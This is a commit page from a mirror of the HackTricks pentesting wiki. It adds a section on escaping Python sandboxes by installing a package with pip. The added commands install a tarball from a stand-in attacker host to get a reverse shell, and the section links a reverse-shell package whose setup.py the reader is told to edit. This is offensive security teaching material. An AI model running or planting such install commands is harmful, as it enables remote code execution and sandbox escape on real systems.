Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-21 20:23:18 +00:00
Code Issues Projects Releases Packages Wiki Activity

GitBook: [master] one page modified

Browse source
This commit is contained in:
CPol 2021-02-05 00:06:38 +00:00 committed by gitbook-bot
parent b139ef8127
commit 49fb9bf830
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
2 changed files with 13 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

BIN
.gitbook/assets/reverse.tar.gz Normal file
View file

Binary file not shown.

13
misc/basic-python/bypass-python-sandboxes.md
View file

@ -295,6 +295,19 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
47 RETURN_VALUE
```
## Pip packet
If you have access to `pip` or to `pip.main()` you can install an arbitrary package and obtain a reverse shell calling:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
You can download the package to create the reverse shell here. Please, note that before using it you should **decompress it, change the `setup.py`, and put your IP for the reverse shell**:
{% file src="../../.gitbook/assets/reverse.tar.gz" %}
## References
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)